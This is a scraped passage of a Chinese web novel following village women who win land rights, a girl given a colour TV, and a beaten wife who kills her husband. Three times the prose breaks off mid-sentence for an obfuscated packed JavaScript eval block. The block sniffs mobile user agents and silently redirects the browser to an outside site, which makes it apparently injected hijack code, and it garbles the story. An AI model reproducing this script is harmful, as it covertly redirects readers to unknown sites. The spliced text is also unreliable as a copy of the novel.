孙村长眼尖看到腰间的配枪,赶忙上前开口:“长官,咱们没闹事,这是在给村里人分地呢。” “重庚村的?” “是是。” “人都在这了?开酒馆的是哪个?” “咱们村就一个开酒馆的。老李!”孙村长冲着后边大喊了一声,“快过来,长官找你。” 人群顿时让开路,老李和那长官对上眼,虽然还不知道自己犯了啥错,腿先软了。 “你就是重庚村开酒馆的?” “是。”老李应了声,跟苍蝇叫似的。 “我们接到电话,有人举报你非法出售珍贵、濒危野生动物制品,麻烦带我们去你酒馆看一看。” “这、这……长官你明察啊,我只是个本本分分的小生意人,哪敢做那违法犯罪的事啊。”老李膝盖一软,抱住长官的腿开始哀嚎,“一定是有人诬陷我!大人,您可要为草民做主啊!草民是冤枉的啊!”人一慌,脑子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16511658|186095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就成了浆糊,戏文里的话一股脑地往外倒。 “闭嘴,是不是诬陷,我们去看了就知道。” 不管老李再怎么撒泼打诨,一行人还是到了他的酒馆。 穿着制服的几人开始翻箱倒柜地检查,屋里就老李和长官空手站在中间。长官还在不断问话,老李一个劲地擦着额头的汗,咬死自己遭歹人诬陷。 半晌,屋里几人同时停下手,对着长官摇摇头。 “长官大人,您也看着了,我就是个清清白白的小老百姓啊。”之前被纠正要喊长官,老李记住了,但只记住一半。 “后头是什么?”长官指着帘子问道。 “就、就我住的地方。” “去看看。” 一群人领命,掀了帘子进后屋,东看西瞧,一个角落也没放过。 很快,一个穿制服的拿着一块布走了过来,掀开一看,正是大虫的那玩意儿。 “这这这……”老李慌忙看了眼茅房墙角,“这不是我的啊!大人明鉴,这一定是别人放这陷害我的啊!” “你一个本本分分的小生意人,谁会陷害你?现在村里的人都在外等着,你大胆说,我现在就叫人进来和你对质。” “我、我……”老李满头大汗,乱颤的眼珠从一张张熟悉的脸上划过,“我也不知道,可能……” 他看着那布上粗糙的花纹,脑海里突然想起一张人脸。 “我知道了!是她,是她!是我儿媳妇!” “你儿媳妇?叫人过来。” “叫不过来,我儿媳妇是城里人,去城里了。她叫林佳宜,是一个大老板,你们去抓她,一定是她把这玩意儿扔我屋里陷害我的!” “你儿媳妇,为什么要陷害你?” “我……我、我也不知道。”不能说自己把人女儿卖给畜生王老大了,说不定要挨枪子儿,“她可能就是、看不起我这乡下来的公公……城里人不都这样,两个鼻孔看人……” “行了。”被迫用两个鼻孔看人的长官打断他的话,“人赃俱获还在这狡辩,拿下!” “咔嚓——”亮银银、新灿灿的镯子扣在了老李的手腕上。 “让让,让让!”几人隔开人群,将人押到车上,关门发动启程。 警笛唔理唔理地开远,一群人跟到村口看了会儿,正要散,又一辆车停了下来。 一个穿着工作服的下来,看了眼手里的板子,问: “请问哪位是‘乔壮’?” 15.秀梅(十一) 15.电视机 乔壮? 老李被铐走的画面还历历在目,难不成乔壮也…… 乔壮刚要应声,就看到郑丽娟凑到穿工作服的跟前:“你找我啥事?” “你是乔壮?”穿工作服的看了看板子,又看了看她。 “哎呀,你就说啥事吧。” “哦,”穿工作服的也没继续纠缠下去,“我是华乐数码商城的,你姐姐在我们商城给你买了台彩电,我来上门安装。” 不是来抓人的啊。 郑丽娟松了口气,掏掏耳朵:“啊,是找乔壮啊,我以为找乔壮的阿婆呢。乔壮,你阿姊给你买电视机了。” 乔壮从人群里走了出来:“我阿姊还有说什么吗?” 穿工作服的想了想,说:“她让你坐远点看,不要看太久,不然眼睛会酸,还说到时候回来和你一起看。” 确实是阿姊会说的话。 “我家在这。”乔壮走在前边带路,安电视的开着车跟在后边,一人一车后边还缀了长长一条尾巴。 村里人的日常活动无非两种,种地和八卦。 地还能再等等,八卦可等不得,不听就只能听人家嘴里二手的了。再说,这可是村里第一台电视机,还是彩色电视机,谁不想去看个热乎的。 一到地方,安电视的就开始往外搬电视机:“你是要安室内,还是室外?” 乔壮看了看站在栅栏外的女人们,想说安室外,但又想和阿姊在房间里两个人看。 安电视的一眼就看出她的犹豫。 她给太多偏僻的村子安过电视机,许多村子可能全村就一台。要是大家凑钱一块买的,自然是放在村子的空地上大家看;要是一户人家单独买的,大多不愿拿去空地公用,但自己的屋子又坐不下那么多人看。 “决定不下,我这有双天线切换器。一端接室内天线,一端接固定室外天线,通过开关就能切换信号来源。”安电视的拿出一个金属盒,“不过这不在电视机的费用里,要另付。一个五十五。” 就这么一个铁盒子要五十五! “壮啊,这玩意儿太贵了,咱不买哈。”郑丽娟看乔壮两只眼睛定定地看着双天线切换器,连忙开口劝,生怕她买了。 “郑婆没事,我有钱。”乔壮安抚了一句。 见有戏,安电视的又拿出一个轻便的电视支架:“这个下边带轮子,还能固定电视机,到时候推到外边就能看。” “这个不用。”带轮子的木架,乔壮自己也能打。 “行。”安电视的也爽利,没再继续推销,拿着工具箱就开始里里外外查看位置,固定天线。 …… “室内你就放堂屋,我在墙上给你敲了个支架。室外你就放这颗树下边,离信号塔最近,还能避开阳光直射,省得反光看不清。” 乔壮从屋里拿了张桌子出来,安电视的将电视机放在上面,打开。 “滋滋滋——” 电视机屏幕出现彩色雪花屏,安电视的拿着信号测试仪,一边调整室外天线的角度,一边让乔壮盯着屏幕。直到转到一个合适的角度,电视机的亮色雪花消失,出现了一个清晰的台标。 滋啦滋啦的噪音也被沉稳的女声取代。 “……我台记者采访到安邦集团的王滋——王董事长,请看大屏幕。” 屏幕里,一个长相儒雅的男人托了托眼镜:“得益于城镇住房改革制度的推行实施,接下来我们将积极配合新的改革政.策,为实现住房商品化、社会化砥砺前行,争取让每个人住上房、住好房。” “感谢王董事长的发言,接下来,让我们将视线移回演播厅。” 屏幕里,男人递回话筒,摄像机微微晃动,无意拍到旁边的女人,画面截止到这一瞬,而后主持人端庄大气的面孔重新出现在屏幕上。 乔壮直愣愣地看着屏幕,刚刚画面闪得极快,女人的五官模糊一片,但她还是一眼认出,那是自己的阿姊。 “道友,请留步……” “淮秀生于草莽,长于草莽,从草莽中来,自然要回到草莽。淮秀永远是四爷的淮秀,四爷也永远是淮秀的四爷。” “人哋死好过自己死,呢个就系我嘅人生观!” “有缘千里来相会,无缘对面手难牵,十年修得同船渡,百年修得共枕眠。” “……” 一连翻过几个热播剧,安乐雅看了眼时间。 商城规定,安完电视需要让客户看10-20分钟,确认画面不跳、声音清晰后才能离开。 安乐雅一向遵守规定,哪怕她被那些男人排挤,只能接些偏远地方的安装订单,但依旧会认认真真待满规定时间。虽然会耽搁点功夫,每每到家都是深夜,她也不在意,起码她赚的每一分钱,都是自己脚踏实地得来的。 “这是我的名字和联系电话,之后要是电视机出了问题,可以找我。”安乐雅拿出一张手写的名片递给乔壮,而后收拾好自己的工具箱,开着自己攒钱买的货车,赶往下一个从未听闻过的村庄。 …… 送走安电视的师傅,乔壮又回到电视机前,不熟练地操控着遥控器,将频道重新调回新闻联播。 “……以上就是今天《新闻联播》的全部内容,感谢收看,我们下期再见。” 主持人收拾了一下桌面,画面被切换,一个小孩捧着碗,一脸开心地喝着碗里的黑糊糊。 “一股浓香,一缕温暖——南方黑芝麻糊。” “啪!”乔壮关了电视。围在外头众人低低“唉”了声,各自散开去干自己的活。 女人们进了栅栏里,小心地将那份土地合同收好,拉着姊妹开心地说了会话,开始收拾自己的包袱。 孙村长则带着男人们往村里走,一些人到了自己的地就脱队离开,等孙村长到自己屋子时,后边就跟了两三个男人。皆是些好吃懒做,不下地干活,靠媳妇养着的懒汉。 懒汉们对视一眼,其中一个开口问:“孙村长,这地你真给她们了?”原本地在他们手上,他们再懒也不用担心,自有女人们在地里操持,赚的钱总是得在他们手里的。 可这地若真分了出去,怨他们已久的女人怕是一分钱都不愿意拿出来。 “哼,糊弄女人的小把戏,你们还真信了,真是扶不上墙的烂泥。”孙村长冷笑一声,从兜里掏出印章,掂了掂,一把扔进茅坑里。 这群女人倒不傻,知道让周韵过一遍合同,不过他早就防着她了。 村里的公章前几年就换了新章,但在周韵面前,他总是拿着那枚旧章,让她还觉得那旧章有用。这不,替自己的兄弟们保住了地,又能哄得这些女人乖乖回来干活。 孙村长觉得自己简直就是那诸葛孔明转世,这世上再没有比他更聪明的人了。 “刚才的事,这几天都给我烂在肚子里。”他知道女人们要分地无非是一时脑热,等过段时间清醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16522661|186095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,也就明白跟男人抢地是不对的。这么一看,自己也算是帮了她们大忙了,省得她们之后愧疚难安。 至于女人们会不会觉得自己被耍,孙村长想,她们总该明白,女人是斗不过男人的。 …… 日头就剩半盏的时候,家家户户烟囱里飘起白烟。 临走前,乔壮约她们晚上来看电视,周韵更是嘱咐她们一个人都不许少,赚的钱还没分呢。女人们各个点着头答应,笑着说要拿点零嘴,到时边看边吃。 看大彩电,这还是头一回呢。女人们兴奋不已,只有赵秀梅一个人空着手,呆呆地站在一旁。 乔壮见状,从屋里拿出自己昨天买的一袋子东西。 “杀猪的步骤昨晚我都同你说了,过几天接了单子,带你一块去,你在旁边看边学。” “嗯。”赵秀梅点了点头,跟着一群脚步轻快的女人们进了村。 “回来了。”老小子坐在石头屋里,没点灯,也没点蜡烛。橘红的夕阳从窗户和石头缝里照进来,照得一方棕褐色的方桌红得发艳。 方桌后头的男人沉在黑暗里,看不清模样,辨不明神色。 但赵秀梅不需要看,就知道自己今晚难逃一顿蠹打。 老小子视地如命,平日的电费都省下只为多买一寸地,如今村长照着户口的名单一个个分了地。她没分到,老小子就少了块地。老小子少了地,心里就不痛快,旁的人自然就得遭罪。 老小子抽出皮带,把着金属扣在桌上敲了两下。往常听到这声,女人早就吓得跪地求饶,今天却还直直地站在原地。 看着比自己高出二十多公分的女人,老小子心里头的邪火更盛了。 他一骨碌爬上桌子,怒吼:“给老子跪下!” 牛皮制的皮带朝着女人的的膝盖抽去。 赵秀梅退后两步,而后猛地一撞桌子。桌上没站稳的男人登时像被剥了皮的老鼠,尖叫着滚了下来。 桌上的东西滚落,蜡烛就在手边,老小子龇着牙捞过,噗嗤一声点亮。 梦里令人可怖的巨大黑影再次出现,赵秀梅白着一张脸,僵在了原地。 …… “有人吗?”乔壮顶着一身月光敲门。 等了半晌,没动静,她想起来时周韵的嘱咐:“秀梅,我进来了。” 门没闩,一推就向内开去。 门里,赵秀梅一身是血地靠坐在墙边。 …… 分割猪肉。 从猪的脊柱处,将猪身劈成左右两半。先劈头部,再沿脊柱中线向下劈至尾部。 每半猪身再分割为前腿、五花肉、后腿、排骨等部位。 前腿自肩关节处切断,后腿自髋关节处切断,五花肉从肋骨下方分离,排骨沿肋骨间隙切开。 分割过程中要用剔骨刀分离骨肉,去除多余脂肪与筋膜…… 赵秀梅是个有天赋的学生,上学时老师就时常夸过她聪明,现在也如此。 她看着走近的高大女人,兴奋出声。 “呃!”师傅! “呃呃!”我杀的猪! “呃呃呃!”是不是很标准! 乔壮越过抽搐的男人,擦掉赵秀梅满面的泪水,接过她手里滴血的刀,从口袋掏出一颗糖果,剥开七彩的糖纸,小心塞进她的嘴里。 “很厉害,和我阿姊一样厉害。” “走吧,今晚看《杀.夫》,大家都在等你。” 16.秀梅(完) 16. [色调黑白的画面里,女孩握着树枝,从远处慢慢走来……] 秀梅盯着墙上的黑影,缓缓抱头,缩成了一团…… “开始了,开始了。人都到齐了没?”电影开场,郑丽娟兴奋地在人群里穿行。 “郑婆,这咋是黑白的,不是彩电吗?是不是坏了?”有女人拉住郑婆小声问。 “呸呸呸,什么坏了,人刚买的,下午也都看了,好好的。说不定这电影就是黑白的。”郑婆连敲了木桌三下,也让女人跟着敲。 “来来来,新鲜出炉的葵瓜子,还热乎的。”郭香仪拿着两大碗葵瓜子,“这碗没放盐,给周婶子吃,她爱吃淡口的;这碗放了盐,郑婆你和我们一块吃。” 两碗瓜子放在桌上,众人依照各自口味,各抓了一把放跟头,边看边吃,一时间空地上空只有电视机里略带失真的人声,和嗑嚓嗑嚓嗑瓜子的声音。 周韵面前的瓜子碗里还留薄薄一层底,是女人们特意为她留的。 村里的路灯稀稀拉拉,她打着手电看账本,怕影响其他人看电影,特地挪到最后边的位置。 “你不是下午都对过一遍,怎么还在看?好不容易大家聚一起看电影,就别再看那账本了。”郑丽娟兜着自己的瓜子坐到周韵旁边。 “最后一遍。”周韵盯着账本,算盘上的手打得飞快,“人都来齐了?一个不落?” “没呢,找你来也是说这事。晓霞还在卫生所陪丫丫,乔壮猫在屋子里不知道干啥,秀梅也没来。大家来之前去她家瞧过,门里一点光没有,也不知道两人是不是出去了。” 出去了倒还好,顶多是摸黑在地里干活,就怕是把人窝在家里打。没听到声音,大家也不好贸然冲进别人的屋子里。 说到底是少个由头。 周韵拨下最后一颗算盘珠子:“你去找乔……” “哎呀,这杀猪的男的可真是个畜.生啊!”郑丽娟显然是看进去了,听到声,半张脸侧过来,眼睛还顶着屏幕看呢。 “没事,你看着,我去找乔壮。” 周韵收起账本和算盘,猫着腰从众人面前走过,走到乔壮屋外,敲了敲门。 “乔壮,在里头干啥呢?电影都开始了,你这东道主咋自个儿在里面不出来?” “周姨,你们先看,我等会儿出来。”乔壮略带慌张的声音从另一间房里传出。 “等会儿是几会儿啊?周姨有事找你。” “就来。”乔壮手忙脚乱地将手里的信纸和笔塞进怀里,将屁股下的椅子抽出,重新塞进书桌下方,起身又扫了遍阿姊的房间,才开门走了出去。 周韵见她从乔燎星的房里走出,了然道:“又想你阿姊了吧。” “嗯。”乔壮只在阿姊面前遮掩自己对她的思念。 “信要不要周姨帮你瞧瞧错字?”每次乔壮思念阿姊,就会写一封信,也不寄出去,就囤在自己的小箱子里,但都会请周姨帮忙看看有没有别字。 这次,乔壮犹豫了会儿才给出。 其实她想问阿姊到底在做什么工作,为何会在电视上看到她,但她直觉不好,便换了内容。 “阿姊,电视机又大又好看,等你回来一起看。”周韵小声念出信上的内容,“行,没错字。” 周韵将信折好还给她,又从口袋里掏出几枚硬币:“秀梅今晚没来,你带着这钱去她家看看。若是没人就回来,若是老小子在,你就把这三分钱拿出来,说是秀梅这几天赚的钱,剩下的悄悄给她。” 周韵将钱分两拨,放在乔壮左右的口袋里:“可莫记错,伸错了手。” 她对着离开的乔壮拍了拍自己的右口袋,乔壮回头,也拍拍自己的右口袋,表示记下了。 [男人将沾满血迹的猪内脏一把砸在女人身上,高烧虚弱的女人顿时被吓晕了过去。] 被动过手脚的扫把砸在赵秀梅身上的瞬间一分为二,她握住扫把尾,将尖锐的断杆重重捅进男人的腹部…… 乔壮揣着两口袋零钱向村子走去。 栅栏外坐了一群男人,他们也是来凑热闹看电视的。 见乔壮过来,以为是来赶他们的,连忙都拿眼瞅孙村长。 孙村长“临危受命”从椅子上站起:“乔壮,我们可没进你家的地,我们就坐在外边聊天,总不碍着你什么吧。” 他都做好继续狡辩的准备,却见乔壮头也不回地越过他们,朝村口走去。 “哼,不就是有了台电视,神气什么!”孙村长朝她的背影啐了一口,扶着旁边人的手缓缓坐下。 乔壮倒是想把人赶走,不过当务之急是先去查看赵秀梅的情况。 [夜深人静之际,再也忍受不了的女人拿起床尾的杀猪刀,一下一下捅进熟睡的男人体内。鲜血入注,一泼泼溅在她的脸上,她白色的亵衣上。] “咚咚咚——”寂静无人的村子里,传来一声声响亮又骇人的剁骨声。 乔壮意识到不对,快步向村东头的石头屋跑去。 当她脚步停下的一刻,剁骨声也同时消失。 整个村庄陷入死一般的寂静。 乔壮看着眼前漆黑如洞的石头屋,上前,常年握刀的手握成拳,轻轻砸在门上。 “有人吗?” “……” “秀梅,我进来了。” [早已熄灯的屋内重燃烛火,连饿数日的女人顶着满身的血,为自己煮了一碗白米饭。] 乔壮小心地擦去赵秀梅脸上的泪与血,往她嘴里塞了一颗甜腻腻的糖果。 往后的日子,会比这颗糖还要甜上百倍的。 乔壮搀扶着一身青紫的女人经过男人时,所有人都停下动作看了过来。 “嚯,老小子今晚是喝了多少酒,这酒气闻得我都要醉了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16528453|186095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “估摸着没分到好地,生闷气呢。看看他媳妇,被打得多惨。” “老小子成天在我们面前伏低做小,在媳妇面前倒是能耐。我听人说,他这种叫自卑还是啥来着,反正就是想在媳妇面前找回面子。” “你说老小子整天打一千三,一千三会不会哪天忍不了,跟电视里头那女的一样,把他砍了?” “一千三?砍人?老小子打了她十几年,她要是有那胆量,早把人砍了。” “也是。这帮女人看的什么烂电影,还女人砍男人,给我都看傻了。我家的要是敢拿刀对着我,我一耳光给她甩地上去。” “哈哈哈哈……” 男人的笑声比公猪临骟前的惨叫还刺耳,乔壮的脚步一顿,反手就是一个耳光甩了上去。 “你!”男人来不及反应,被狠狠甩倒在地。 半张脸重重擦在地上,被硌脚的石子划出数道伤痕,伤痕下又瞬间浮起五道红艳艳的指印。 乔壮收了力,只把男人的半张脸扇成馒头。 但这点力,也够男人受了。 乔壮看着在地上疼得哭娘喊爹的男人,面无表情地收回手:“你能不能把女人甩倒我不知道,但我确实能把你一巴掌甩倒。” “孙村长!”男人惨叫连连,“您要为我做主啊!” “乔壮,道歉!不然我就以寻衅滋事罪抓你进牢!”孙村长拍着板凳怒吼。 乔壮看了他一眼,理了理衣服,俯身朝地上的男人伸出手。 “你以为道句歉就够了?”男人捂着脸恶狠狠地瞪着乔壮,“我要你现在下跪道歉,还要把你那大彩电赔我!” 乔壮没说话,只把腰弯得更低。 “老子和你说话呢,耳朵聋……” “喀嚓——”刀套上的扣子发出脆响,男人视线被吸引,抬眼看去,一柄杀意凛凛,满是血腥之气的杀猪刀直直朝自己脸上落下。 “救、救命啊!”男人吓得双腿软烂如泥,裤.裆一暖,黄液伴随着浓烈的腥臊味向四处蔓延。 原本还在看热闹的众人连忙向四周散去。 男人大气不敢喘地盯着自己耳旁的杀猪刀,心里又恨又怕。恨乔壮让自己在众人面前丢了脸面,又怕乔壮真拿刀刮了自己。 乔壮神色不变,不慌不忙将刀从地上抽出:“刀滑。放心,丧葬费,我出得起。” 骇人的刀被塞回刀套,乔壮揽着赵秀梅:“她是赵秀梅,希望大家都能记住这个名字,不然……” 她冷眼扫过在场的所有男人。 “我的刀能滑一次,就能滑第二次。下次滑到哪,谁也说不准。” 所有男人闻之一颤,皆不由自主垂下眼不敢对视。 “走吧,周姨她们给你留了瓜子,咸口的。” 乔壮头也不回地扶着赵秀梅,一点一点向栅栏里挪去。 身后,村东口,燃起冲天烈火。 17.晓霞(一) 17.致敬 脖溜子一身酒气、睡眼惺忪地从村外回来的时候,看见村里又停着樽棺椁。 “诶,兄、兄弟,王老大不早就下葬了,咋又给刨出来了。”他路都走不稳,两条腿直打摆,大着舌头抓住过路人就问。 “兄什么兄,我是你姨姥姥!”郑丽娟抽出手,朝他脑袋来了一下,“喝喝喝,早晚和老小子一样,把自个儿给喝死!” “老小子,喝死了?”他眯着眼往村西口望去,“没、没挂白布啊。” 郑丽娟重重踹了他一脚:“不会说话就把嘴闭上!那是你家,当然没挂白布。” “哦哦,”他迷瞪着眼,又往村东口使劲瞅,“这也没挂白布啊。”瞧着就黑乎乎一团。 “家都烧没了,上哪挂白布去。”郑丽娟看了他一眼,一字一句道,“老小子就是晚上喝多,打落烛火,把自己活活烧死的。” “那是他活该。”村里早通了电,就老小子舍不得电费,整日靠着蜡烛照明。这不,就把自己给烧死了。 “姨姥姥您放心,我爹找高人算过,我可是能长命百岁的。保准,走您后头哈哈哈。” 脖溜子一耍膀子,脚上画着八字朝家门走去。 身后,郑丽娟看着他背影良久,才缓缓朝自己的小卖部走去。 …… “阿霞,我回来了!” 脖溜子一把撞开门,抄起桌上的茶壶就往嘴里倒。 倒了半天,一点水都没有,急得他把茶壶往桌上一扔,扯着嗓子大喊起来:“阿霞,人呢?我都要渴死了,赶紧拿水来!” “吱呀——”侧后的木门开出条缝。 丫丫拄着拐杖,躲在门缝后,小声道:“奶奶去地里收谷子了。” “谁?”脖溜子猛地一转头,盯着门缝里的小半张脸看了会儿,才认出人来,“丫丫啊,爷爷口渴了,你知道哪有水吗?” “我、我屋里有一点。”她前天误踩了山上的捕兽夹,没伤到骨头,肉却被刮去一大片。奶奶心疼坏了,不让她再去地里陪她,只让她在家里好好养着。为了让她少走点路,吃的喝的都放她屋里,还托了隔壁的郭姨帮忙看顾她。 不过方才村里的其他女人,抱着厚厚几床被子来找郭姨,说是要去河边浆洗,还说是约好的,不干活可分不到钱。 丫丫听奶奶说过,郭姨屋里头有个傻子男人,是个苦命的,能帮的时候要帮上一把。 丫丫不知道自己能帮上什么忙,但丫丫知道赚钱是大事,可不能因为自己耽搁了郭姨赚钱,所以丫丫说自己没事,让郭姨追上那群女人。 可现在,看着闯进屋里的爷爷,丫丫有点后悔让郭姨走了。 “哟,还有白面粥。丫丫是个孝顺的,爷爷几天没吃饭了,能不能让爷爷尝一口。”男人浑浊的眼睛死死盯着桌上飘着枸杞红枣的白面粥。 “……好。”丫丫单脚跳着去够勺子,就看见爷爷端起碗,仰头吸溜吸溜地喝了起来。 等碗被放下的时候,碗底就剩几粒米和小半颗红枣。 “好喝。”脖溜子舔了舔黏在门牙上的红枣皮,拍拍肚皮,打了个饱嗝。 “爷爷给丫丫买了个红头绳,可好看了,等爷爷睡醒就给你。”脖溜子推开门,一晃一晃地去了自己房间。 丫丫缩在床上,等到门开门又关,震天响的呼噜从砖缝里传出来,才拄着拐杖,一蹦一蹦地去关自己大开的门。 桌上的茶壶只剩一层底,粥也没了,丫丫握紧帕子里仅剩的半个窝窝头,开始幻想晚上的菜。 奶奶说在壮壮姊姊的猪肉铺子订了筒骨,今晚给她煲骨头汤喝。 想到奶白鲜香的骨头汤,丫丫觉得嘴里的窝窝头都有了肉香。 …… “乔壮,你 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“嗯。”赵秀梅点了点头,从脸盆里捞出面巾拧干递了过去。 脸盆里的水是她刚刚从水井里打出来的,透着一股凉。 乔壮接过,盖在脸上胡乱擦了把,只觉得整个人都凉快了不少。她将面巾放回脸盆,对着赵秀梅翻折了两下大拇指,提着筒骨出了门。 “呃……”赵秀梅愣了愣,来不及做出“不用谢”的手势,乔壮人已经走到栅栏外。 她盯着乔壮的背影看了半晌,直到彻底看不见才收回眼。 倒掉水,跨过门槛,放下脸盆,摆好面巾,当她重新坐在书桌前,任由阳光与微风透过窗户洒在自己脸上,她不甚熟练地拿着笔,在那张书签的背面歪歪扭扭写下两行字—— “1992.8.23 石头屋好冷,我也点了一把火。” 18.晓霞(二) 18.前半生 村子的后山上有一处风水宝地,被村里人划分为祖地。 不过老祖宗留了规定,只许男的进,女的要想进,得等死后,由其他人抬进去。 祖地对于女人,就像灶屋对于男人。 不过前者是严令禁止,后者是自我“约束”。 村里的男人一大早就进祖地刨坑去了,没了他们碍眼,女人们只觉得村里的空气都好上不少。 天刚翻出际鱼肚白,吴晓霞就扛着镰刀去了地里。 别人的地里稻谷都少了大半,就她地里还齐齐整整长得老高。 吴晓霞边挥着镰刀,边骂骂咧咧。 死钱小六,收成的日子还不回家。成天在外面鬼混,最好哪天就死在外头,再也别回来! 骂完他,又骂自己,当初瞎了眼,才会被这油头粉面的骗到这鬼地方来。 吴晓霞本是镇上的姑娘,家里虽算不上大富大贵,一家子温饱也是够的,还有闲钱供弟弟上学。 在她的设想里,未来自己会和姊姊们一样,找个镇上年岁相当的小伙子,生几个娃娃,看娃娃们生小娃娃,最后在娃娃小娃娃的哭声里阖眼。 这是吴晓霞为自己想好的人生,平凡、普通,却也是大多数人的一辈子。 可惜一切在钱小六见到吴晓霞的那刻起就毁了。 二十不到的吴晓霞,正是花一样的年纪,又是家里最小的女儿,除了弟弟外,也是最受宠的那个。上边的姊姊都爱护她,啥事也不让她干,同龄的女孩里,数她的手最白嫩,跟有钱人家的小姐似的。 吴晓霞不过是给念书的弟弟送过一次饭,哪知就这一次,被同学院的钱小六看上。 第二天媒人就上门问亲,第三天大花轿子就停门口了。 那时钱家在重庚村是当之无愧的大财主,家里掌管着百亩良田,在镇上也是名气不小。 吴晓霞的爹一听是重庚村的钱家上门提亲,不管吴晓霞的娘如何反对,当即就应下。 “你怎么回事?说好晓霞的婚事让她自己选的。” “要是镇上的男人,那自然让她自己选,左右家里都不过那点钱,嫁谁都一样。可那是钱家,有百亩地的钱家,人家一年的收成可比我们半辈子都多!晓霞嫁过去,那就是富太太,享福的命!” “可是之前说好了的。”吴晓霞的娘小声抗议。她虽然没念过书,也知道约定好的事不能随意变卦,“晓霞怕是不肯。” “父母之命媒妁之言,哪有她说话的份。再说嫁去钱家又不是害了她,不用干活,成天吃香的喝辣的,她还不满足?”吴晓霞的爹见屋前左右没人,伸出一只手,“你知道那钱小六给多少彩礼吗?这个数!要是有这笔钱,幺儿就能去城里念书了!” 去城里念书?听说城里的老师个顶个的厉害。 看出妻子动摇,吴晓霞的爹又添了把火:“凭咱幺儿的聪明劲儿,去城里念了书,保准能考上大学光宗耀祖。大学生,咱这方圆百里可没出过大学生!这不就是状元郎嘛!到时我就是状元郎的爹,你就是状元郎的娘,祖地里都能挑块最好的地!” 状元郎的娘。吴晓霞的娘这辈子只听别人夸过自己贤惠、能吃苦、会干活,还从没听人夸过自己聪明。幺儿要是当上状元,肯定会有一堆人夸他聪明。夸幺儿聪明,不就是夸她这个娘聪明。 吴晓霞的娘犹豫半晌,还是在吴晓霞蹦蹦跳跳回到家的时候,将人拉到了一旁——爹和娘给你找了门好亲事。 大红花轿停在门前,喜庆的唢呐震天响。 吴晓霞穿着娘改了一晚上的红嫁衣,懵懵懂懂地上了花轿。 刚坐下,大腿就针扎似的疼。 她“哎呀”一声,尖叫声被唢呐声、爆竹声、邻里的贺喜声和爹娘的道谢声淹没。 “娘!”吴晓霞被扎疼了,瘪着嘴,掀开盖头就要找娘。 “娘!爹!”站在门口的娘和爹没听到,轿子旁的喜婆听到了。 看着她从轿子里探出半个脑袋,连忙将人按了回去:“哎呦我的钱少夫人哟,这大喜的日子怎么能让旁人看见你的脸。快快快,赶紧把盖头盖上!” 喜婆膀大腰圆,一把将她按回轿内。 屁股挨着座,又是一阵刺痛。 她倒吸一口气,也不再喊人,盖着盖头自己摸索了会儿,摸出根大头针来。 难怪这样疼。 想来是娘改嫁衣改昏头,忘取了。 这嫁衣本该是她三姊姊的,前些日子她还夸过这嫁衣好看,转头这嫁衣就到自己身上。 吴晓霞后悔,早知道就不说自己要穿了。谁知道原来嫁衣也认主,一穿就脱不下来了。 花轿晃晃荡荡晃了几十里路,总算在天黑前晃到了钱家。 吴晓霞一个钱家的人也不认识,却已经是钱家的一份子。 婚后的日子也算得上幸福,钱小六于读书上一窍不通,吃喝玩乐却是个中好手。带着吴晓霞吃酒、游船、放风筝,采花、扑蝶、买衣裳…… 各种珍贵的首饰衣裳加持下,吴晓霞看着镜子里的自己,看到了光鲜亮丽的钱少夫人。 日子就这样一天天过下去似乎也不错。吴晓霞摸着高高隆起的肚子想,虽然百亩地因为公公好赌,只剩下五十亩。 * 当产婆捧着一盆盆血水进出,一墙之隔,吴晓霞的婆婆被丈夫拎着脑袋一下下地撞在桌上。 “把地契给我!”往常乐呵呵胖乎乎的男人此时一脸狰狞,眼里暴虐与恐惧交杂成恶鬼。 “地契,老子的地契!再不把地契拿出来,老子就把你打死!” “有本事你就把我打死。”吴晓霞的婆婆任由脑袋的血淌进眼里,死死盯着眼前的男人,“你就算把我打死,也别想拿到地契!” 两人对视良久,男人先一步别开眼。 “不给地契,他们就要剁我的手指!一根指头一万块,手指头不够就剁脚指头!阿花,我怕痛啊!”男人松开手,跪坐在地上,流着泪,像是无措的孩童。 吴晓霞的婆婆擦去脸上的血,理了理衣裳,走到男人面前:“你爹当年输掉一百亩地的时候,你是怎么和我说的?你说你绝不会和他一样,你说你要老老实实干活,把你爹输掉的一百亩地挣回来。现在呢?” 